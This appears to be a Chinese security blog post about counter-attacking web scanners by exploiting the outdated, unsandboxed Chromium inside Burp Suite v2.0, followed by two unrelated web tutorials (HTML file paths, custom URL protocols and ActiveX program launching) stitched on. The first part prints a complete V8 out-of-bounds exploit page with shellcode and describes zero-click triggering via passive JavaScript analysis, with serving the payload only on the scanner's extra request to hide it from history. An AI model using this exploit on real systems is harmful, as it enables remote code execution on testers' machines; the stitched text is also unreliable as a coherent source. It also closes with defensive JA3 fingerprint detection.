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反制爬虫之Burp Suite RCE

、前言

Headless Chrome是谷歌Chrome浏览器的无界面模式,通过命令行方式打开网页并渲染,常用于自动化测试、网站爬虫、网站截图、XSS检测等场景。

近几年许多桌面客户端应用中,基本都内嵌了Chromium用于业务场景使用,但由于开发不当、CEF版本不升级维护等诸多问题,攻击者可以利用这些缺陷攻击客户端应用以达到命令执行效果。

本文以知名渗透软件Burp Suite举例,从软件分析、漏洞挖掘、攻击面扩展等方面进行深入探讨。

二、软件分析

以Burp Suite Pro v2.0beta版本为例,要做漏洞挖掘首先要了解软件架构及功能点。

burpsuite_pro_v2.0.11beta.jar进行解包,可以发现Burp Suite打包了Windows、Linux、Mac的Chromium,可以兼容在不同系统下运行内置Chromium浏览器。

在Windows系统中,Burp Suite v2.0运行时会将chromium-win64.7z解压至C:\Users\user\AppData\Local\JxBrowser\browsercore-64.0.3282.24.unknown\目录

从目录名及数字签名得知Burp Suite v2.0是直接引用JxBrowser浏览器控件,其打包的Chromium版本为64.0.3282.24。

那如何在Burp Suite中使用内置浏览器呢?在常见的使用场景中,Proxy -> HTTP history -> Response -> RenderRepeater -> Render都能够调用内置Chromium浏览器渲染网页。

当Burp Suite唤起内置浏览器browsercore32.exe打开网页时,browsercore32.exe会创建Renderer进程及GPU加速进程。

browsercore32.exe进程运行参数如下:

// Chromium主进程
C:\Users\user\AppData\Local\JxBrowser\browsercore-64.0.3282.24.unknown\browsercore32.exe --port=53070 --pid=13208 --dpi-awareness=system-aware --crash-dump-dir=C:\Users\user\AppData\Local\JxBrowser --lang=zh-CN --no-sandbox --disable-xss-auditor --headless --disable-gpu --log-level=2 --proxy-server="socks://127.0.0.1:0" --disable-bundled-ppapi-flash --disable-plugins-discovery --disable-default-apps --disable-extensions --disable-prerender-local-predictor --disable-save-password-bubble --disable-sync --disk-cache-size=0 --incognito --media-cache-size=0 --no-events --disable-settings-window

// Renderer进程
C:\Users\user\AppData\Local\JxBrowser\browsercore-64.0.3282.24.unknown\browsercore32.exe --type=renderer --log-level=2 --no-sandbox --disable-features=LoadingWithMojo,browser-side-navigation --disable-databases --disable-gpu-compositing --service-pipe-token=C06434E20AA8C9230D15FCDFE9C96993 --lang=zh-CN --crash-dump-dir="C:\Users\user\AppData\Local\JxBrowser" --enable-pinch --device-scale-factor=1 --num-raster-threads=1 --enable-gpu-async-worker-context --disable-accelerated-video-decode --service-request-channel-token=C06434E20AA8C9230D15FCDFE9C96993 --renderer-client-id=2 --mojo-platform-channel-handle=2564 /prefetch:1

从进程运行参数分析得知,Chromium进程以headless模式运行、关闭了沙箱功能、随机监听一个端口(用途未知)。

三、漏洞利用

Chromium组件的历史版本几乎都存在着1Day漏洞风险,特别是在客户端软件一般不会维护升级Chromium版本,且关闭沙箱功能,在没有沙箱防护的情况下漏洞可以无限制利用。

Burp Suite v2.0内置的Chromium版本为64.0.3282.24,该低版本Chromium受到多个历史漏洞影响,可以通过v8引擎漏洞执行shellcode从而获得PC权限。

以Render功能演示,利用v8漏洞触发shellcode打开计算器(此处感谢Sakura提供漏洞利用代码)

这个漏洞没有公开的CVE ID,但其详情可以在这里找到。
该漏洞的Root Cause是在进行
Math.expm1的范围分析时,推断出的类型是Union(PlainNumber, NaN),忽略了Math.expm1(-0)会返回-0的情况,从而导致范围分析错误,导致JIT优化时,错误的将边界检查CheckBounds移除,造成了OOB漏洞。

<html>
<head></head>
</body>
<script>
function pwn() {
    var f64Arr = new Float64Array(1);
    var u32Arr = new Uint32Array(f64Arr.buffer);

    function f2u(f) {
        f64Arr[0] = f;
        return u32Arr;
    }

    function u2f(h, l)
    {
        u32Arr[0] = l;
        u32Arr[1] = h;
        return f64Arr[0];
    }

    function hex(i) {
        return "0x" + i.toString(16).padStart(8, "0");
    }

    function log(str) {
        console.log(str);
        document.body.innerText += str + '\n';
    }

    var big_arr = [1.1, 1.2];
    var ab = new ArrayBuffer(0x233);
    var data_view = new DataView(ab);

    function opt_me(x) {
        var oob_arr = [1.1, 1.2, 1.3, 1.4, 1.5, 1.6];
        big_arr = [1.1, 1.2];
        ab = new ArrayBuffer(0x233);
        data_view = new DataView(ab);

        let obj = {
            a: -0
        };
        let idx = Object.is(Math.expm1(x), obj.a) * 10;

        var tmp = f2u(oob_arr[idx])[0];
        oob_arr[idx] = u2f(0x234, tmp);
    }
    for (let a = 0; a < 0x1000; a++)
        opt_me(0);

    opt_me(-0);
    var optObj = {
        flag: 0x266,
        funcAddr: opt_me
    };

    log("[+] big_arr.length: " + big_arr.length);

    if (big_arr.length != 282) {
        log("[-] Can not modify big_arr length !");
        return;
    }
    var backing_store_idx = -1;
    var backing_store_in_hign_mem = false;
    var OptObj_idx = -1;
    var OptObj_idx_in_hign_mem = false;

    for (let a = 0; a < 0x100; a++) {
        if (backing_store_idx == -1) {
            if (f2u(big_arr[a])[0] == 0x466) {
                backing_store_in_hign_mem = true;
                backing_store_idx = a;
            } else if (f2u(big_arr[a])[1] == 0x466) {
                backing_store_in_hign_mem = false;
                backing_store_idx = a + 1;
            }
        }

        else if (OptObj_idx == -1) {
            if (f2u(big_arr[a])[0] == 0x4cc) {
                OptObj_idx_in_hign_mem = true;
                OptObj_idx = a;
            } else if (f2u(big_arr[a])[1] == 0x4cc) {
                OptObj_idx_in_hign_mem = false;
                OptObj_idx = a + 1;
            }
        }

    }

    if (backing_store_idx == -1) {
        log("[-] Can not find backing store !");
        return;
    } else
        log("[+] backing store idx: " + backing_store_idx +
            ", in " + (backing_store_in_hign_mem ? "high" : "low") + " place.");

    if (OptObj_idx == -1) {
        log("[-] Can not find Opt Obj !");
        return;
    } else
        log("[+] OptObj idx: " + OptObj_idx +
            ", in " + (OptObj_idx_in_hign_mem ? "high" : "low") + " place.");

    var backing_store = (backing_store_in_hign_mem ?
        f2u(big_arr[backing_store_idx])[1] :
        f2u(big_arr[backing_store_idx])[0]);
    log("[+] Origin backing store: " + hex(backing_store));

    var dataNearBS = (!backing_store_in_hign_mem ?
        f2u(big_arr[backing_store_idx])[1] :
        f2u(big_arr[backing_store_idx])[0]);

    function read(addr) {
        if (backing_store_in_hign_mem)
            big_arr[backing_store_idx] = u2f(addr, dataNearBS);
        else
            big_arr[backing_store_idx] = u2f(dataNearBS, addr);
        return data_view.getInt32(0, true);
    }

    function write(addr, msg) {
        if (backing_store_in_hign_mem)
            big_arr[backing_store_idx] = u2f(addr, dataNearBS);
        else
            big_arr[backing_store_idx] = u2f(dataNearBS, addr);
        data_view.setInt32(0, msg, true);
    }

    var OptJSFuncAddr = (OptObj_idx_in_hign_mem ?
        f2u(big_arr[OptObj_idx])[1] :
        f2u(big_arr[OptObj_idx])[0]) - 1;
    log("[+] OptJSFuncAddr: " + hex(OptJSFuncAddr));

    var OptJSFuncCodeAddr = read(OptJSFuncAddr + 0x18) - 1;
    log("[+] OptJSFuncCodeAddr: " + hex(OptJSFuncCodeAddr));

    var RWX_Mem_Addr = OptJSFuncCodeAddr + 0x40;
    log("[+] RWX Mem Addr: " + hex(RWX_Mem_Addr));

    var shellcode = new Uint8Array(
           [0x89, 0xe5, 0x83, 0xec, 0x20, 0x31, 0xdb, 0x64, 0x8b, 0x5b, 0x30, 0x8b, 0x5b, 0x0c, 0x8b, 0x5b,
            0x1c, 0x8b, 0x1b, 0x8b, 0x1b, 0x8b, 0x43, 0x08, 0x89, 0x45, 0xfc, 0x8b, 0x58, 0x3c, 0x01, 0xc3,
            0x8b, 0x5b, 0x78, 0x01, 0xc3, 0x8b, 0x7b, 0x20, 0x01, 0xc7, 0x89, 0x7d, 0xf8, 0x8b, 0x4b, 0x24,
            0x01, 0xc1, 0x89, 0x4d, 0xf4, 0x8b, 0x53, 0x1c, 0x01, 0xc2, 0x89, 0x55, 0xf0, 0x8b, 0x53, 0x14,
            0x89, 0x55, 0xec, 0xeb, 0x32, 0x31, 0xc0, 0x8b, 0x55, 0xec, 0x8b, 0x7d, 0xf8, 0x8b, 0x75, 0x18,
            0x31, 0xc9, 0xfc, 0x8b, 0x3c, 0x87, 0x03, 0x7d, 0xfc, 0x66, 0x83, 0xc1, 0x08, 0xf3, 0xa6, 0x74,
            0x05, 0x40, 0x39, 0xd0, 0x72, 0xe4, 0x8b, 0x4d, 0xf4, 0x8b, 0x55, 0xf0, 0x66, 0x8b, 0x04, 0x41,
            0x8b, 0x04, 0x82, 0x03, 0x45, 0xfc, 0xc3, 0xba, 0x78, 0x78, 0x65, 0x63, 0xc1, 0xea, 0x08, 0x52,
            0x68, 0x57, 0x69, 0x6e, 0x45, 0x89, 0x65, 0x18, 0xe8, 0xb8, 0xff, 0xff, 0xff, 0x31, 0xc9, 0x51,
            0x68, 0x2e, 0x65, 0x78, 0x65, 0x68, 0x63, 0x61, 0x6c, 0x63, 0x89, 0xe3, 0x41, 0x51, 0x53, 0xff,
            0xd0, 0x31, 0xc9, 0xb9, 0x01, 0x65, 0x73, 0x73, 0xc1, 0xe9, 0x08, 0x51, 0x68, 0x50, 0x72, 0x6f,
            0x63, 0x68, 0x45, 0x78, 0x69, 0x74, 0x89, 0x65, 0x18, 0xe8, 0x87, 0xff, 0xff, 0xff, 0x31, 0xd2,
            0x52, 0xff, 0xd0, 0x90, 0x90, 0xfd, 0xff]
    );

    log("[+] writing shellcode ... ");
    for (let i = 0; i < shellcode.length; i++)
        write(RWX_Mem_Addr + i, shellcode[i]);

    log("[+] execute shellcode !");
    opt_me();
}
pwn();
</script>
</body>
</html>

用户在通过Render功能渲染页面时触发v8漏洞成功执行shellcode。

四、进阶攻击

Render功能需要用户交互才能触发漏洞,相对来说比较鸡肋,能不能0click触发漏洞?答案是可以的。

Burp Suite v2.0的Live audit from Proxy被动扫描功能在默认情况下开启JavaScript分析引擎(JavaScript analysis),用于扫描JavaScript漏洞。

其中JavaScript分析配置中,默认开启了动态分析功能(dynamic analysis techniques)、额外请求功能(Make requests for missing Javascript dependencies)

JavaScript动态分析功能会调用内置chromium浏览器对页面中的JavaScript进行DOM XSS扫描,同样会触发页面中的HTML渲染、JavaScript执行,从而触发v8漏洞执行shellcode。

额外请求功能当页面存在script标签引用外部JS时,除了页面正常渲染时请求加载script标签,还会额外发起请求加载外部JS。即两次请求加载外部JS文件,并且分别执行两次JavaScript动态分析。

额外发起的HTTP请求会存在明文特征,后端可以根据该特征在正常加载时返回正常JavaScript代码,额外加载时返回漏洞利用代码,从而可以实现在Burp Suite HTTP history中隐藏攻击行为。

GET /xxx.js HTTP/1.1
Host: www.xxx.com
Connection: close
Cookie: JSESSIONID=3B6FD6BC99B03A63966FC9CF4E8483FF

JavaScript动态分析 + 额外请求 + chromium漏洞组合利用效果:

五、流量特征检测

默认情况下Java发起HTTPS请求时协商的算法会受到JDK及操作系统版本影响,而Burp Suite自己实现了HTTPS请求库,其TLS握手协商的算法是固定的,结合JA3算法形成了TLS流量指纹特征可被检测,有关于JA3检测的知识点可学习《TLS Fingerprinting with JA3 and JA3S》。

Cloudflare开源并在CDN产品上应用了MITMEngine组件,通过TLS指纹识别可检测出恶意请求并拦截,其覆盖了大多数Burp Suite版本的JA3指纹从而实现检测拦截。这也可以解释为什么在渗透测试时使用Burp Suite请求无法获取到响应包。

以Burp Suite v2.0举例,实际测试在各个操作系统下,同样的jar包发起的JA3指纹是一样的。

不同版本Burp Suite支持的TLS算法不一样会导致JA3指纹不同,但同样的Burp Suite版本JA3指纹肯定是一样的。如果需要覆盖Burp Suite流量检测只需要将每个版本的JA3指纹识别覆盖即可检测Burp Suite攻击从而实现拦截。

本文章涉及内容仅限防御对抗、安全研究交流,请勿用于非法途径。

引用外部文件(如超链接或者插入图片)时,经常会遇到我们的页面文件跟要引用的目标文件不在同一目录下的情况,这个时候,就带来了文件引用路径的问题。通常情况下,我们将引用的路径分为两种情况,绝对路径和相对路径。

绝对路径

  • 概念

绝对路径是指文件在硬盘上真正存在的路径,即物理路径。例如“bg.jpg”这个图片是存放在硬盘的“D:\work\code\imgs”目录下,那么, “bg.jpg”这个图片的绝对路径就是:

<img src="D:\work\code\imgs\bg.jpg" >

  • 应用

通常我们使用绝对路径,更多应用是在定位网络资源上,

如:https://image.so.com/i?ie=utf-8&src=hao_360so&q=%E6%95%85%E5%AE%AB%E7%BB%9D%E7%BE%8E%E9%9B%AA%E6%99%AF

  • 使用绝对路径的缺点

在实际开发中,我们很少会使用绝对路径,如果使用“D:\work\code\imgs\bg.jpg”来指定背景图片的位置,在自己的计算机上 浏览可能会一切正常,但是上传到Web服务器上浏览就很有可能不会显示图片了。因为上传到Web服务器上时,可能整个网站并没有放在Web服务器的D盘, 有可能是E盘或H盘。即使放在Web服务器的D盘里,Web服务器的E盘里也不一定会存在“D:\work\code\imgs\bg.jpg”这个目录,因此在浏览网页时是不会显示图片的

相对路径

为了不同设备存放路径不一致的这种情况,通常在网页中指定文件时,都会选择使用相对路径。所谓相对路径,就是相对于当前文件的位置。关于相对路径,有以下三种情况:

  • 同级查找

当图像文件和HTML文件位于同一文件夹时,只需输入图像文件的名称即可,如:

<img src="1.png">

  • 查找下一级

当图像文件位于HTML文件的下一级文件夹,输入文件夹名和文件名,之间用“/”隔开,如:

<img src="img/2.png">

  • 查找上一级

当图像文件位于HTML文件的上一级文件夹,在文件名之前加入“…/” ,如果是上两级,则需要使用 “…/ …/”,以此类推,如:

<im background="../img/0.png">

时,我们希望实现这样一个特性:单击HTML页面上的链接将调用本地可执行文件。像腾讯QQ、迅雷这类。

实现此功能也非常简单,这需要我们添加和修改注册表来实现自定义URL协议协议。

自定义URL Protocol 协议

一些应用软件可以在浏览器中点击一个url后自动启动,并执行操作。

1. win+r打开注册表,输入regedit进入注册表

2. 在注册表 左边最上面HKEY_CLASSES_ROOT那个树右键新建——项。该项的名称自己命名,其实该名称也是协议的名称,我们调用的时候就是根据该协议调用的,而我这里随便起了一个:ZZO。

3. 然后在该项中右键->新建->字符串值,创建一个URL Protocol的值,其中数据默认为空。

4. 然后在ZZO下新建->项,名字为DefaultIcon

5. 在ZZO下新建->项,名称为shell。并在shell下新建名为open的项。然后在open下新建名为command的项

6. 然后分别修改DefaultIcon 和 command 的值为要调用的程序完整路径.

比如我这里要调用的是QQ,完整路径为:D:\Program Files (x86)\Tencent\QQ\Bin\QQScLauncher.exe

7. 然后我们在html页面添加一个a标签

<a href="Zzo://">open</a>

8. 点击页面按钮

通过网站调用可执行程序,主要是修改注册表,注册 URL Protocol 协议。

注意上面 command 项的值可以为 C:\Program Files (x86)\Qiaoker\updater.exe "%1" ,这个"%1"是传递给 updater.exe的参数。

加了后使用是我们就可以传参数了,

<a href="Uaiqiy://cid:110&username:mjq">

方式二:使用js调起客户端

除了上面那种方式,我们还可以通过调用js函数实现客户端exe程序的调用,但是这种方式局限性很大,目前只支持IE浏览器。

代码如下:

function execProgram() {

var exepath = "D:\Program Files (x86)\Tencent\QQMusic\QQMusic.exe"

var ws = new ActiveXObject("WScript.Shell");

ws.Exec(exepath);

}